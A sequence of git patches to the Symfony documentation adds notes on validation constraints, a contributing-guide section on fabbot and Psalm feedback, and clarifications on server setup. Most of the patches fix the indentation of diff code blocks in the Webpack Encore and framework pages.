+++ b/reference/constraints/_null-values-are-valid.rst.inc
@@ -0,0 +1,6 @@
+.. note::
+
+    As with most of the other constraints, ``null`` is
+    considered a valid value. This is to allow the use of optional values.
+    If the value is mandatory, a common solution is to combine this constraint
+    with :doc:`NotNull </reference/constraints/NotNull>`.

From 795dcb7172dbc716df7029abc0651a9581dc66c9 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 24 Feb 2021 15:43:10 +0100
Subject: [PATCH 1902/7107] Updated contribution guide with "Automated
 Feedback"

---
 contributing/code/pull_requests.rst | 32 +++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 58a6004ca14..d1f06f8db76 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -399,6 +399,36 @@ The :doc:`core team </contributing/code/core_team>` is responsible for deciding
 which PR gets merged, so their feedback is the most relevant. So do not feel
 pressured to refactor your code immediately when someone provides feedback.
 
+Automated Feedback
+~~~~~~~~~~~~~~~~~~
+
+There are many automated scripts that will provide feedback on a pull request.
+
+fabbot
+""""""
+
+`fabbot`_ will review code style, check for common typos and make sure the git
+history looks good. If there are any issues, fabbot will often suggest what changes
+that should be done. Most of the time you get a command to run to automatically
+fix the changes.
+
+It is rare, but fabbot could be wrong. One should verify if the suggested changes
+make sense and that they are related to the pull request.
+
+Psalm
+"""""
+
+`Psalm`_ will make a comment on a pull request if it discovers any potential
+type errors. The Psalm errors are not always correct, but each should be reviewed
+and discussed. A pull request should not update the Psalm baseline nor add ``@psalm-``
+annotations.
+
+After the `Psalm phar is installed`_, the analysis can be run locally with:
+
+.. code-block:: terminal
+
+    $ psalm.phar src/Symfony/Component/Workflow
+
 .. _rework-your-patch:
 
 Rework your Pull Request
@@ -430,8 +460,10 @@ before merging.
 .. _Symfony repository: https://github.com/symfony/symfony
 .. _`documentation repository`: https://github.com/symfony/symfony-docs
 .. _`fabbot`: https://fabbot.io
+.. _`Psalm`: https://psalm.dev/
 .. _`PSR-1`: https://www.php-fig.org/psr/psr-1/
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
 .. _`searching on GitHub`: https://github.com/symfony/symfony/issues?q=+is%3Aopen+
 .. _`Symfony Slack`: https://symfony.com/slack-invite
 .. _`Travis-CI`: https://travis-ci.org/symfony/symfony
+.. _`Psalm phar is installed`: https://psalm.dev/docs/running_psalm/installation/

From 79661cca1f63b7a0092fc44cf5863fd1d4147e75 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 26 Feb 2021 10:37:34 +0100
Subject: [PATCH 1903/7107] Make the doc clearer

---
 setup/symfony_server.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index bd3a6718664..b9e1ef9d2ef 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -64,8 +64,8 @@ Enabling PHP-FPM
 
     PHP-FPM must be installed locally for the Symfony server to utilize.
 
-When the server starts it will check for common patterns like ``web/app.php``,
-``web/app_dev.php`` or ``public/index.php``. If a file like this is found the
+When the server starts, it checks for ``web/index_dev.php``, ``web/index.php``,
+``public/app_dev.php``, ``public/app.php`` in that order. If one is found, the
 server will automatically start with PHP-FPM enabled. Otherwise the server will
 start without PHP-FPM and will show a ``Page not found`` page when trying to
 access a ``.php`` file in the browser.

From 962e0875f7e8a5422580899e5952bd010e896d09 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 26 Feb 2021 11:12:46 +0100
Subject: [PATCH 1904/7107] Make the explanation about how Docker services are
 detected (hopefully) clearer

---
 setup/symfony_server.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index bd3a6718664..9784bd57e24 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -282,8 +282,11 @@ The local Symfony server provides full `Docker`_ integration for projects that
 use it.
 
 When the web server detects that Docker Compose is running for the project, it
-automatically exposes environment variables according to the exposed port and
-the name of the ``docker-compose`` services.
+automatically exposes some environment variables.
+
+Via the ``docker-compose`` API, it looks for exposed ports used for common
+services. When it detects one it knows about, it uses the service name to
+expose environment variables.
 
 Consider the following configuration:
 

From 00fbbdcbb31cbddd0e5a57ff586a6df29cd6469a Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Fri, 26 Feb 2021 21:25:49 +0100
Subject: [PATCH 1905/7107] Unique validator: Better description for the value
 placeholder

---
 reference/constraints/Unique.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 97cb6ff8602..e6acb08ea71 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -107,7 +107,7 @@ You can use the following parameters in this message:
 =============================  ================================================
 Parameter                      Description
 =============================  ================================================
-``{{ value }}``                The repeated value
+``{{ value }}``                The current (invalid) value
 =============================  ================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc

From e3328a46d4f8b03f9a4a9f6fbbf9b2ba33554518 Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Sun, 28 Feb 2021 21:51:40 +0100
Subject: [PATCH 1906/7107] [Encore] Deploying to a CDN subdirectory

---
 frontend/encore/cdn.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/frontend/encore/cdn.rst b/frontend/encore/cdn.rst
index a7a2884c13a..17df7ffce21 100644
--- a/frontend/encore/cdn.rst
+++ b/frontend/encore/cdn.rst
@@ -39,6 +39,10 @@ pages also use the CDN. Fortunately, the
 :ref:`entrypoints.json <encore-entrypointsjson-simple-description>` paths are updated
 to include the full URL to the CDN.
 
+When deploying to a subdirectory of your CDN, you must add the path at the end of your URL -
+e.g. ``Encore.setPublicPath('https://my-cool-app.com.global.prod.fastly.net/awesome-website')``
+will generate assets URLs like ``https://my-cool-app.com.global.prod.fastly.net/awesome-website/dashboard.js``
+
 If you are using ``Encore.enableIntegrityHashes()`` and your CDN and your domain
 are not the `same-origin`_, you may need to set the ``crossorigin`` option in
 your webpack_encore.yaml configuration to ``anonymous`` or ``use-credentials``

From 52ce42f0dd0003b993c52766ccd750c01ccc648b Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Tue, 2 Mar 2021 11:21:11 +0100
Subject: [PATCH 1907/7107] Add part about resolving parameter values to
 prepend extension

---
 bundles/prepend_extension.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 2b6f9dbfe3f..d0c6522e4ec 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -82,6 +82,9 @@ in case a specific other bundle is not registered::
 
         // process the configuration of AcmeHelloExtension
         $configs = $container->getExtensionConfig($this->getAlias());
+        // resolve config parameters e.g. %kernel.debug% to boolean value
+        $resolvingBag = $container->getParameterBag();
+        $configs = $resolvingBag->resolveValue($configs);
         // use the Configuration class to generate a config array with
         // the settings "acme_hello"
         $config = $this->processConfiguration(new Configuration(), $configs);

From 8132571a84ee69102c743368c2b3aa78416defee Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 20 Feb 2021 20:22:27 +0100
Subject: [PATCH 1908/7107] [#15009] Fix inconsistent diff examples

---
 frontend/encore/legacy-applications.rst | 3 +++
 frontend/encore/split-chunks.rst        | 2 ++
 frontend/encore/typescript.rst          | 3 ++-
 frontend/encore/versioning.rst          | 2 +-
 quick_tour/flex_recipes.rst             | 6 +++---
 setup/flex.rst                          | 6 +++---
 6 files changed, 14 insertions(+), 8 deletions(-)

diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index 4f1193d7e06..f76bc35adcb 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -32,6 +32,7 @@ jQuery plugins often expect that jQuery is already available via the ``$`` or
 
 .. code-block:: diff
 
+    // webpack.config.js
     Encore
         // ...
     +     .autoProvidejQuery()
@@ -74,6 +75,8 @@ page, add:
 
 .. code-block:: diff
 
+    // webpack.config.js
+
     // require jQuery normally
     const $ = require('jquery');
 
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index ebaa4ee48ce..b03952a3153 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -10,6 +10,7 @@ To enable this, call ``splitEntryChunks()``:
 
 .. code-block:: diff
 
+    // webpack.config.js
     Encore
         // ...
 
@@ -52,6 +53,7 @@ this plugin with the ``configureSplitChunks()`` function:
 
 .. code-block:: diff
 
+    // webpack.config.js
     Encore
         // ...
 
diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index b1af45d9c04..0ca51f7a13f 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -6,8 +6,8 @@ Want to use `TypeScript`_? No problem! First, enable it:
 .. code-block:: diff
 
     // webpack.config.js
-    // ...
 
+    // ...
     Encore
         // ...
     +     .addEntry('main', './assets/main.ts')
@@ -30,6 +30,7 @@ method.
 
 .. code-block:: diff
 
+    // webpack.config.js
     Encore
         // ...
         .addEntry('main', './assets/main.ts')
diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 1f3d0cdd39e..27177d2d554 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -13,8 +13,8 @@ ignoring any existing cache:
 .. code-block:: diff
 
     // webpack.config.js
-    // ...
 
+    // ...
     Encore
         .setOutputPath('public/build/')
         // ...
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 435b4f07351..16724e3ee90 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -83,9 +83,9 @@ Thanks to Flex, after one command, you can start using Twig immediately:
     - use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
-    -class DefaultController
-    +class DefaultController extends AbstractController
-     {
+    - class DefaultController
+    + class DefaultController extends AbstractController
+    {
          /**
           * @Route("/hello/{name}")
           */
diff --git a/setup/flex.rst b/setup/flex.rst
index eaba102d073..31f034db862 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -61,9 +61,9 @@ manual steps:
        {
            "require": {
                "symfony/flex": "^1.0",
-       +     },
-       +     "conflict": {
-       +         "symfony/symfony": "*"
+       +   },
+       +   "conflict": {
+       +       "symfony/symfony": "*"
            }
        }
 

From 4865b3bfa9ae03cb9a8dfda0793c4a9225c92fd7 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 23 Feb 2021 19:09:49 +0100
Subject: [PATCH 1909/7107] [#15009] Fix indentation of all diff code blocks
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Co-authored-by: Jérémy Derussé <jeremy@derusse.com>
---
 configuration/dot-env-changes.rst          |  8 ++--
 controller.rst                             | 10 ++---
 doctrine.rst                               | 14 +++----
 frontend/encore/cdn.rst                    | 18 ++++-----
 frontend/encore/copy-files.rst             |  8 ++--
 frontend/encore/custom-loaders-plugins.rst |  8 ++--
 frontend/encore/dev-server.rst             | 24 ++++++------
 frontend/encore/faq.rst                    | 10 ++---
 frontend/encore/legacy-applications.rst    | 14 +++----
 frontend/encore/postcss.rst                | 24 ++++++------
 frontend/encore/reactjs.rst                | 10 ++---
 frontend/encore/shared-entry.rst           | 10 ++---
 frontend/encore/simple-example.rst         | 36 +++++++++---------
 frontend/encore/split-chunks.rst           | 24 ++++++------
 frontend/encore/typescript.rst             | 28 +++++++-------
 frontend/encore/versioning.rst             | 10 ++---
 frontend/encore/virtual-machine.rst        | 36 +++++++++---------
 frontend/encore/vuejs.rst                  | 24 ++++++------
 http_cache.rst                             | 12 +++---
 page_creation.rst                          | 28 +++++++-------
 quick_tour/flex_recipes.rst                | 24 ++++++------
 quick_tour/the_architecture.rst            | 30 +++++++--------
 quick_tour/the_big_picture.rst             | 44 +++++++++++-----------
 security.rst                               | 40 ++++++++++----------
 security/form_login_setup.rst              | 12 +++---
 security/guard_authentication.rst          | 32 ++++++++--------
 security/securing_services.rst             | 24 ++++++------
 service_container.rst                      | 36 +++++++++---------
 setup/flex.rst                             | 10 ++---
 setup/unstable_versions.rst                | 10 ++---
 setup/upgrade_major.rst                    | 34 ++++++++---------
 setup/upgrade_minor.rst                    | 34 ++++++++---------
 32 files changed, 343 insertions(+), 343 deletions(-)

diff --git a/configuration/dot-env-changes.rst b/configuration/dot-env-changes.rst
index df418e6ea75..316bfa01aba 100644
--- a/configuration/dot-env-changes.rst
+++ b/configuration/dot-env-changes.rst
@@ -60,16 +60,16 @@ changes can be made to any Symfony 3.4 or higher app:
 
    .. code-block:: diff
 
-       # .gitignore
-       # ...
+         # .gitignore
+         # ...
 
-       ###> symfony/framework-bundle ###
+         ###> symfony/framework-bundle ###
        - /.env
        + /.env.local
        + /.env.local.php
        + /.env.*.local
 
-       # ...
+         # ...
 
 #. Rename ``.env`` to ``.env.local`` and ``.env.dist`` to ``.env``:
 
diff --git a/controller.rst b/controller.rst
index 212d0a2b509..ef3c3987a96 100644
--- a/controller.rst
+++ b/controller.rst
@@ -98,16 +98,16 @@ Add the ``use`` statement atop your controller class and then modify
 
 .. code-block:: diff
 
-    // src/Controller/LuckyController.php
-    namespace App\Controller;
+      // src/Controller/LuckyController.php
+      namespace App\Controller;
 
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class LuckyController
     + class LuckyController extends AbstractController
-    {
-        // ...
-    }
+      {
+          // ...
+      }
 
 That's it! You now have access to methods like :ref:`$this->render() <controller-rendering-templates>`
 and many others that you'll learn about next.
diff --git a/doctrine.rst b/doctrine.rst
index 8226bf22700..e1ee1785c00 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -280,20 +280,20 @@ methods:
 
 .. code-block:: diff
 
-    // src/Entity/Product.php
-    // ...
+      // src/Entity/Product.php
+      // ...
 
-    class Product
-    {
-        // ...
+      class Product
+      {
+          // ...
 
     +     /**
     +      * @ORM\Column(type="text")
     +      */
     +     private $description;
 
-        // getDescription() & setDescription() were also added
-    }
+          // getDescription() & setDescription() were also added
+      }
 
 The new property is mapped, but it doesn't exist yet in the ``product`` table. No
 problem! Generate a new migration:
diff --git a/frontend/encore/cdn.rst b/frontend/encore/cdn.rst
index a7a2884c13a..267e3e2f88f 100644
--- a/frontend/encore/cdn.rst
+++ b/frontend/encore/cdn.rst
@@ -6,15 +6,15 @@ built files are uploaded to the CDN, configure it in Encore:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
-
-    Encore
-        .setOutputPath('public/build/')
-        // in dev mode, don't use the CDN
-        .setPublicPath('/build');
-        // ...
-    ;
+      // webpack.config.js
+      // ...
+
+      Encore
+          .setOutputPath('public/build/')
+          // in dev mode, don't use the CDN
+          .setPublicPath('/build');
+          // ...
+      ;
 
     + if (Encore.isProduction()) {
     +     Encore.setPublicPath('https://my-cool-app.com.global.prod.fastly.net');
diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index bc263ef056a..dc97fb0d434 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -32,11 +32,11 @@ files into your final output directory.
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    Encore
-        // ...
-        .setOutputPath('public/build/')
+      Encore
+          // ...
+          .setOutputPath('public/build/')
 
     +     .copyFiles({
     +         from: './assets/images',
diff --git a/frontend/encore/custom-loaders-plugins.rst b/frontend/encore/custom-loaders-plugins.rst
index 66ce1f7c5cc..31c688ffc75 100644
--- a/frontend/encore/custom-loaders-plugins.rst
+++ b/frontend/encore/custom-loaders-plugins.rst
@@ -50,14 +50,14 @@ to use the `IgnorePlugin`_ (see `moment/moment#2373`_):
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
     + var webpack = require('webpack');
 
-    Encore
-        // ...
+      Encore
+          // ...
 
     +     .addPlugin(new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/))
-    ;
+      ;
 
 .. _`handlebars-loader`: https://github.com/pcardune/handlebars-loader
 .. _`plugins`: https://webpack.js.org/plugins/
diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 3a602f89b19..76047ddc2a7 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -65,14 +65,14 @@ the ``package.json`` file:
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server",
     +        "dev-server": "encore dev-server --https --pfx=$HOME/.symfony/certs/default.p12 --allowed-hosts=mydomain.wip",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 If you experience issues related to CORS (Cross Origin Resource Sharing), add
 the ``--disable-host-check`` and ``--port`` options to the ``dev-server``
@@ -80,14 +80,14 @@ command in the ``package.json`` file:
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server",
     +        "dev-server": "encore dev-server --port 8080 --disable-host-check",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 .. caution::
 
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 3c621c3b8d0..f349cf350cf 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -63,11 +63,11 @@ like ``/myAppSubdir``), you will need to configure that when calling ``Encore.se
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        .setOutputPath('public/build/')
+          .setOutputPath('public/build/')
 
     -     .setPublicPath('/build')
     +     // this is your *true* public path
@@ -76,7 +76,7 @@ like ``/myAppSubdir``), you will need to configure that when calling ``Encore.se
     +     // this is now needed so that your manifest.json keys are still `build/foo.js`
     +     // (which is a file that's used by Symfony's `asset()` function)
     +     .setManifestKeyPrefix('build')
-    ;
+      ;
 
 If you're using the ``encore_entry_script_tags()`` and ``encore_entry_link_tags()``
 Twig shortcuts (or are :ref:`processing your assets through entrypoints.json <load-manifest-files>`
diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst
index f76bc35adcb..36087b88978 100644
--- a/frontend/encore/legacy-applications.rst
+++ b/frontend/encore/legacy-applications.rst
@@ -32,11 +32,11 @@ jQuery plugins often expect that jQuery is already available via the ``$`` or
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
     +     .autoProvidejQuery()
-    ;
+      ;
 
 After restarting Encore, Webpack will look for all uninitialized ``$`` and ``jQuery``
 variables and automatically require ``jquery`` and set those variables for you.
@@ -75,10 +75,10 @@ page, add:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    // require jQuery normally
-    const $ = require('jquery');
+      // require jQuery normally
+      const $ = require('jquery');
 
     + // create global $ and jQuery variables
     + global.$ = global.jQuery = $;
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index 76c6e8d67e9..e30af2ae6ca 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -28,12 +28,12 @@ Then, enable the loader in Encore!
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    Encore
-        // ...
+      Encore
+          // ...
     +     .enablePostCssLoader()
-    ;
+      ;
 
 Because you just modified ``webpack.config.js``, stop and restart Encore.
 
@@ -42,17 +42,17 @@ You can also pass options to the `postcss-loader`_ by passing a callback:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    Encore
-        // ...
+      Encore
+          // ...
     +     .enablePostCssLoader((options) => {
     +         options.config = {
     +             // the directory where the postcss.config.js file is stored
     +             path: 'path/to/config'
     +         };
     +     })
-    ;
+      ;
 
 .. _browserslist_package_config:
 
@@ -65,25 +65,25 @@ support. The best-practice is to configure this directly in your ``package.json`
 
 .. code-block:: diff
 
-    {
+      {
     +  "browserslist": [
     +    "defaults"
     +  ]
-    }
+      }
 
 The ``defaults`` option is recommended for most users and would be equivalent
 to the following browserslist:
 
 .. code-block:: diff
 
-    {
+      {
     +  "browserslist": [
     +    "> 0.5%",
     +    "last 2 versions",
     +    "Firefox ESR",
     +    "not dead"
     +  ]
-    }
+      }
 
 See `browserslist`_ for more details on the syntax.
 
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index ca3b017f13b..f7e206e15e8 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -17,13 +17,13 @@ Enable react in your ``webpack.config.js``:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
+      Encore
+          // ...
     +     .enableReactPreset()
-    ;
+      ;
 
 
 Then restart Encore. When you do, it will give you a command you can run to
diff --git a/frontend/encore/shared-entry.rst b/frontend/encore/shared-entry.rst
index 6693b649d8d..f71868eee2f 100644
--- a/frontend/encore/shared-entry.rst
+++ b/frontend/encore/shared-entry.rst
@@ -16,13 +16,13 @@ Update your code to use ``createSharedEntry()``:
 
 .. code-block:: diff
 
-    Encore
-        // ...
+      Encore
+          // ...
     -     .addEntry('app', './assets/js/app.js')
     +     .createSharedEntry('app', './assets/js/app.js')
-        .addEntry('homepage', './assets/js/homepage.js')
-        .addEntry('blog', './assets/js/blog.js')
-        .addEntry('store', './assets/js/store.js')
+          .addEntry('homepage', './assets/js/homepage.js')
+          .addEntry('blog', './assets/js/blog.js')
+          .addEntry('store', './assets/js/store.js')
 
 Before making this change, if both ``app.js`` and ``store.js`` require ``jquery``,
 then ``jquery`` would be packaged into *both* files, which is wasteful. By making
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 4373f9c3b66..2e9153e26db 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -167,8 +167,8 @@ Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
 
 .. code-block:: diff
 
-    // assets/js/app.js
-    // ...
+      // assets/js/app.js
+      // ...
 
     + // loads the jquery package from node_modules
     + var $ = require('jquery');
@@ -196,17 +196,17 @@ To export values using the alternate syntax, use ``export``:
 
 .. code-block:: diff
 
-    // assets/js/greet.js
+      // assets/js/greet.js
     - module.exports = function(name) {
     + export default function(name) {
-        return `Yo yo ${name} - welcome to Encore!`;
-    };
+          return `Yo yo ${name} - welcome to Encore!`;
+      };
 
 To import values, use ``import``:
 
 .. code-block:: diff
 
-    // assets/js/app.js
+      // assets/js/app.js
     - require('../css/app.css');
     + import '../css/app.css';
 
@@ -240,13 +240,13 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
-        .addEntry('app', './assets/js/app.js')
+      // webpack.config.js
+      Encore
+          // ...
+          .addEntry('app', './assets/js/app.js')
     +     .addEntry('checkout', './assets/js/checkout.js')
     +     .addEntry('account', './assets/js/account.js')
-        // ...
+          // ...
 
 And because you just changed the ``webpack.config.js`` file, make sure to stop
 and restart Encore:
@@ -264,8 +264,8 @@ you need them:
 
 .. code-block:: diff
 
-    {# templates/.../checkout.html.twig #}
-    {% extends 'base.html.twig' %}
+      {# templates/.../checkout.html.twig #}
+      {% extends 'base.html.twig' %}
 
     + {% block stylesheets %}
     +     {{ parent() }}
@@ -294,7 +294,7 @@ file to ``app.scss`` and update the ``import`` statement:
 
 .. code-block:: diff
 
-    // assets/js/app.js
+      // assets/js/app.js
     - import '../css/app.css';
     + import '../css/app.scss';
 
@@ -302,12 +302,12 @@ Then, tell Encore to enable the Sass pre-processor:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
     +    .enableSassLoader()
-    ;
+      ;
 
 Because you just changed your ``webpack.config.js`` file, you'll need to restart
 Encore. When you do, you'll see an error!
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index b03952a3153..f25c876704d 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -10,15 +10,15 @@ To enable this, call ``splitEntryChunks()``:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        // multiple entry files, which probably import the same code
-        .addEntry('app', './assets/js/app.js')
-        .addEntry('homepage', './assets/js/homepage.js')
-        .addEntry('blog', './assets/js/blog.js')
-        .addEntry('store', './assets/js/store.js')
+          // multiple entry files, which probably import the same code
+          .addEntry('app', './assets/js/app.js')
+          .addEntry('homepage', './assets/js/homepage.js')
+          .addEntry('blog', './assets/js/blog.js')
+          .addEntry('store', './assets/js/store.js')
 
     +     .splitEntryChunks()
 
@@ -53,11 +53,11 @@ this plugin with the ``configureSplitChunks()`` function:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
+      // webpack.config.js
+      Encore
+          // ...
 
-        .splitEntryChunks()
+          .splitEntryChunks()
     +     .configureSplitChunks(function(splitChunks) {
     +         // change the configuration
     +         splitChunks.minSize = 0;
diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index 0ca51f7a13f..fbd0b616c86 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -5,20 +5,20 @@ Want to use `TypeScript`_? No problem! First, enable it:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    // ...
-    Encore
-        // ...
+      // ...
+      Encore
+          // ...
     +     .addEntry('main', './assets/main.ts')
 
     +     .enableTypeScriptLoader()
 
-        // optionally enable forked type script for faster builds
-        // https://www.npmjs.com/package/fork-ts-checker-webpack-plugin
-        // requires that you have a tsconfig.json file that is setup correctly.
+          // optionally enable forked type script for faster builds
+          // https://www.npmjs.com/package/fork-ts-checker-webpack-plugin
+          // requires that you have a tsconfig.json file that is setup correctly.
     +     //.enableForkedTypeScriptTypesChecking()
-    ;
+      ;
 
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
@@ -30,10 +30,10 @@ method.
 
 .. code-block:: diff
 
-    // webpack.config.js
-    Encore
-        // ...
-        .addEntry('main', './assets/main.ts')
+      // webpack.config.js
+      Encore
+          // ...
+          .addEntry('main', './assets/main.ts')
 
     -     .enableTypeScriptLoader()
     +     .enableTypeScriptLoader(function(tsConfig) {
@@ -43,8 +43,8 @@ method.
     +         // tsConfig.silent = false
     +     })
 
-            // ...
-    ;
+              // ...
+      ;
 
 See the `Encore's index.js file`_ for detailed documentation and check
 out the `tsconfig.json reference`_ and the `Webpack guide about Typescript`_.
diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index 27177d2d554..0911f8d8cc3 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -12,12 +12,12 @@ ignoring any existing cache:
 
 .. code-block:: diff
 
-    // webpack.config.js
+      // webpack.config.js
 
-    // ...
-    Encore
-        .setOutputPath('public/build/')
-        // ...
+      // ...
+      Encore
+          .setOutputPath('public/build/')
+          // ...
     +     .enableVersioning()
 
 To link to these assets, Encore creates two files ``entrypoints.json`` and
diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 068d5c8451f..40b7ec2d386 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -49,14 +49,14 @@ If your Symfony application is running on a custom domain (e.g.
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server",
     +        "dev-server": "encore dev-server --public http://app.vm:8080",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 After restarting Encore and reloading your web page, you will probably see
 different issues in the web console:
@@ -78,14 +78,14 @@ connections:
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server --public http://app.vm:8080",
     +        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 .. caution::
 
@@ -100,14 +100,14 @@ the dev-server. To fix this, add the argument ``--disable-host-check``:
 
 .. code-block:: diff
 
-    {
-        ...
-        "scripts": {
+      {
+          ...
+          "scripts": {
     -        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0",
     +        "dev-server": "encore dev-server --public http://app.vm:8080 --host 0.0.0.0 --disable-host-check",
-            ...
-        }
-    }
+              ...
+          }
+      }
 
 .. caution::
 
diff --git a/frontend/encore/vuejs.rst b/frontend/encore/vuejs.rst
index dd1227c9447..2af99c075fb 100644
--- a/frontend/encore/vuejs.rst
+++ b/frontend/encore/vuejs.rst
@@ -10,15 +10,15 @@ Want to use `Vue.js`_? No problem! First enable it in ``webpack.config.js``:
 
 .. code-block:: diff
 
-    // webpack.config.js
-    // ...
+      // webpack.config.js
+      // ...
 
-    Encore
-        // ...
-        .addEntry('main', './assets/main.js')
+      Encore
+          // ...
+          .addEntry('main', './assets/main.js')
 
     +     .enableVueLoader()
-    ;
+      ;
 
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
